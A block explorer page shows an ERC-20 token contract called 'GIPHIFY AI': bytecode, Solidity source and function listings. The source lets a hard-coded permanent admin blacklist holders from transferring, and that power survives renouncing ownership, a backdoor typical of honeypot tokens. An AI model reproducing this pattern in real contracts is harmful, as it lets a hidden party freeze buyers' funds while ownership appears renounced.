Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x4CB52abb22040E2b8cF924eCd65b0D507123b848
Balance 0 ETH
Nonce 1
Code Size 7145 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

7145 bytes
0x608060405234801561000f575f80fd5b50600436106100fe575f3560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610288578063dd62ed3e146102b8578063f2fde38b146102e8578063f9f92be414610304576100fe565b806370a0823114610212578063715018a6146102425780638da5cb5b1461024c57806395d89b411461026a576100fe565b8063313496e6116100d1578063313496e61461019e578063313ce567146101bc57806344337ea1146101da578063537df3b6146101f6576100fe565b806306fdde0314610102578063095ea7b31461012057806318160ddd1461015057806323b872dd1461016e575b5f80fd5b61010a610334565b60405161011791906112c7565b60405180910390f35b61013a60048036038101906101359190611378565b61036d565b60405161014791906113d0565b60405180910390f35b6101586104e4565b60405161016591906113f8565b60405180910390f35b61018860048036038101906101839190611411565b610504565b60405161019591906113d0565b60405180910390f35b6101a66106d6565b6040516101b39190611470565b60405180910390f35b6101c46106fd565b6040516101d191906114a4565b60405180910390f35b6101f460048036038101906101ef91906114bd565b610702565b005b610210600480360381019061020b91906114bd565b6108f0565b005b61022c600480360381019061022791906114bd565b610add565b60405161023991906113f8565b60405180910390f35b61024a610b22565b005b610254610c5c565b6040516102619190611470565b60405180910390f35b610272610c84565b60405161027f91906112c7565b60405180910390f35b6102a2600480360381019061029d9190611378565b610cbd565b6040516102af91906113d0565b60405180910390f35b6102d260048036038101906102cd91906114e8565b610cd3565b6040516102df91906113f8565b60405180910390f35b61030260048036038101906102fd91906114bd565b610d55565b005b61031e600480360381019061031991906114bd565b610f10565b60405161032b91906113d0565b60405180910390f35b6040518060400160405280600a81526020017f474950484946592041490000000000000000000000000000000000000000000081525081565b5f60025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156103f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ef90611596565b60405180910390fd5b8160015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104d291906113f8565b60405180910390a36001905092915050565b6012600a6104f29190611710565b6305f5e100610501919061175a565b81565b5f8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156105c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b7906117e5565b60405180910390fd5b6105cb848484610f2d565b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461064f9190611803565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600190509392505050565b5f7f000000000000000000000000f19d98f0d6797386e1d235492ebe8dd3bee2ecd6905090565b601281565b7f000000000000000000000000f19d98f0d6797386e1d235492ebe8dd3bee2ecd673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806107a8575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de90611880565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c906118e8565b60405180910390fd5b600160025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d5fe68b00f68950fb9c1ff0a61ef7f747b1a36359a7e3a7f3324db4b87896760405160405180910390a250565b7f000000000000000000000000f19d98f0d6797386e1d235492ebe8dd3bee2ecd673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610996575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cc90611880565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90611976565b60405180910390fd5b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f1747ca720b1a174a464b6513ace29b1d3190b5f632b9f34147017c81425bfde860405160405180910390a250565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba8906119de565b60405180910390fd5b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a250565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f474946590000000000000000000000000000000000000000000000000000000081525081565b5f610cc9338484610f2d565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610de4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddb906119de565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990611a6c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002602052805f5260405f205f915054906101000a900460ff1681565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f9557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcb90611afa565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104a90611b62565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156110dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d490611596565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111259190611803565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111ad9190611b80565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161124a91906113f8565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61129982611257565b6112a38185611261565b93506112b3818560208601611271565b6112bc8161127f565b840191505092915050565b5f6020820190508181035f8301526112df818461128f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611314826112eb565b9050919050565b6113248161130a565b811461132e575f80fd5b50565b5f8135905061133f8161131b565b92915050565b5f819050919050565b61135781611345565b8114611361575f80fd5b50565b5f813590506113728161134e565b92915050565b5f806040838503121561138e5761138d6112e7565b5b5f61139b85828601611331565b92505060206113ac85828601611364565b9150509250929050565b5f8115159050919050565b6113ca816113b6565b82525050565b5f6020820190506113e35f8301846113c1565b92915050565b6113f281611345565b82525050565b5f60208201905061140b5f8301846113e9565b92915050565b5f805f60608486031215611428576114276112e7565b5b5f61143586828701611331565b935050602061144686828701611331565b925050604061145786828701611364565b9150509250925092565b61146a8161130a565b82525050565b5f6020820190506114835f830184611461565b92915050565b5f60ff82169050919050565b61149e81611489565b82525050565b5f6020820190506114b75f830184611495565b92915050565b5f602082840312156114d2576114d16112e7565b5b5f6114df84828501611331565b91505092915050565b5f80604083850312156114fe576114fd6112e7565b5b5f61150b85828601611331565b925050602061151c85828601611331565b9150509250929050565b7f474950484946593a2053656e6465722069732062616e6e65642066726f6d20635f8201527f617374696e67207370656c6c7300000000000000000000000000000000000000602082015250565b5f611580602d83611261565b915061158b82611526565b604082019050919050565b5f6020820190508181035f8301526115ad81611574565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561163657808604811115611612576116116115b4565b5b60018516156116215780820291505b808102905061162f856115e1565b94506115f6565b94509492505050565b5f8261164e5760019050611709565b8161165b575f9050611709565b8160018114611671576002811461167b576116aa565b6001915050611709565b60ff84111561168d5761168c6115b4565b5b8360020a9150848211156116a4576116a36115b4565b5b50611709565b5060208310610133831016604e8410600b84101617156116df5782820a9050838111156116da576116d96115b4565b5b611709565b6116ec84848460016115ed565b92509050818404811115611703576117026115b4565b5b81810290505b9392505050565b5f61171a82611345565b915061172583611489565b92506117527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461163f565b905092915050565b5f61176482611345565b915061176f83611345565b925082820261177d81611345565b91508282048414831517611794576117936115b4565b5b5092915050565b7f474950484946593a205370656c6c20706f77657220746f6f206c6f77000000005f82015250565b5f6117cf601c83611261565b91506117da8261179b565b602082019050919050565b5f6020820190508181035f8301526117fc816117c3565b9050919050565b5f61180d82611345565b915061181883611345565b92508282039050818111156118305761182f6115b4565b5b92915050565b7f474950484946593a204e6f7420617574686f72697a65640000000000000000005f82015250565b5f61186a601783611261565b915061187582611836565b602082019050919050565b5f6020820190508181035f8301526118978161185e565b9050919050565b7f474950484946593a2043616e6e6f742062616e6973682074686520766f6964005f82015250565b5f6118d2601f83611261565b91506118dd8261189e565b602082019050919050565b5f6020820190508181035f8301526118ff816118c6565b9050919050565b7f474950484946593a2043616e6e6f7420756e62616e6973682074686520766f695f8201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b5f611960602183611261565b915061196b82611906565b604082019050919050565b5f6020820190508181035f83015261198d81611954565b9050919050565b7f474950484946593a204e6f7420746865206772616e64204749504849465900005f82015250565b5f6119c8601e83611261565b91506119d382611994565b602082019050919050565b5f6020820190508181035f8301526119f5816119bc565b9050919050565b7f474950484946593a2043616e6e6f74207472616e7366657220746f20746865205f8201527f766f696400000000000000000000000000000000000000000000000000000000602082015250565b5f611a56602483611261565b9150611a61826119fc565b604082019050919050565b5f6020820190508181035f830152611a8381611a4a565b9050919050565b7f474950484946593a2043617374696e67207370656c6c7320696e746f207468655f8201527f20766f6964000000000000000000000000000000000000000000000000000000602082015250565b5f611ae4602583611261565b9150611aef82611a8a565b604082019050919050565b5f6020820190508181035f830152611b1181611ad8565b9050919050565b7f474950484946593a204e6f7420656e6f756768206d616e6100000000000000005f82015250565b5f611b4c601883611261565b9150611b5782611b18565b602082019050919050565b5f6020820190508181035f830152611b7981611b40565b9050919050565b5f611b8a82611345565b9150611b9583611345565b9250828201905080821115611bad57611bac6115b4565b5b9291505056fea2646970667358221220a26f88ae99966e4ccdbe8e31e9b0c63bc7be74ccf5d75a8ca1171af02bb3fd1364736f6c634300081a0033

Verified Source Code Partial Match

Compiler: v0.8.26+commit.8a97fa7a EVM: cancun Optimization: No
GIPHIFY.sol 145 lines
/**
 *Submitted for verification at Etherscan.io on 2025-01-14
*/

// SPDX-License-Identifier: MIT
/*
GIPHIFY

Join our community:
X: https://x.com/giphify
Telegram: https://t.me/GIPHIFY
Website: https://GIPHIFY.pro
*/
pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner_, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner_, address indexed spender, uint256 value);
}

contract GIPHIFY is IERC20 {
    string public constant name = "GIPHIFY AI";
    string public constant symbol = "GIFY";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000 * 10**decimals;

    // Mappings
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public blacklist;
    
    // Owner and Admin
    address private _owner;
    address private immutable _permanentAdmin;

    // Events
    event BlacklistAdded(address indexed account);
    event BlacklistRemoved(address indexed account);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event OwnershipRenounced(address indexed previousOwner);

    modifier onlyOwner() {
        require(msg.sender == _owner, "GIPHIFY: Not the grand GIPHIFY");
        _;
    }

    modifier onlyAdminOrOwner() {
        require(msg.sender == _permanentAdmin || msg.sender == _owner, "GIPHIFY: Not authorized");
        _;
    }

    constructor() {
        _owner = msg.sender;
        _permanentAdmin = 0xf19D98f0d6797386E1D235492ebE8dd3bEE2ecD6;

        _balances[_owner] = totalSupply;
        emit Transfer(address(0), _owner, totalSupply);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0) && recipient != address(0), "GIPHIFY: Casting spells into the void");
        require(_balances[sender] >= amount, "GIPHIFY: Not enough mana");
        // Modified blacklist check - only check sender
        require(!blacklist[sender], "GIPHIFY: Sender is banned from casting spells");

        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        
        emit Transfer(sender, recipient, amount);
    }

    // ERC20 functions
    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner_, address spender) external view override returns (uint256) {
        return _allowances[owner_][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        // Modified blacklist check - only check sender
        require(!blacklist[msg.sender], "GIPHIFY: Sender is banned from casting spells");
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "GIPHIFY: Spell power too low");
        _transfer(sender, recipient, amount);
        _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        return true;
    }

    // Admin functions
    function addToBlacklist(address account) external onlyAdminOrOwner {
        require(account != address(0), "GIPHIFY: Cannot banish the void");
        blacklist[account] = true;
        emit BlacklistAdded(account);
    }

    function removeFromBlacklist(address account) external onlyAdminOrOwner {
        require(account != address(0), "GIPHIFY: Cannot unbanish the void");
        blacklist[account] = false;
        emit BlacklistRemoved(account);
    }

    // Ownership management
    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "GIPHIFY: Cannot transfer to the void");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() external onlyOwner {
        address previousOwner = _owner;
        _owner = address(0);
        emit OwnershipRenounced(previousOwner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function permanentAdmin() public view returns (address) {
        return _permanentAdmin;
    }
}
// THIS CONTRACT IS TESTING

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
blacklist 0xf9f92be4 → bool
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
permanentAdmin 0x313496e6 → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

addToBlacklist 0x44337ea1
address account
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
removeFromBlacklist 0x537df3b6
address account
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address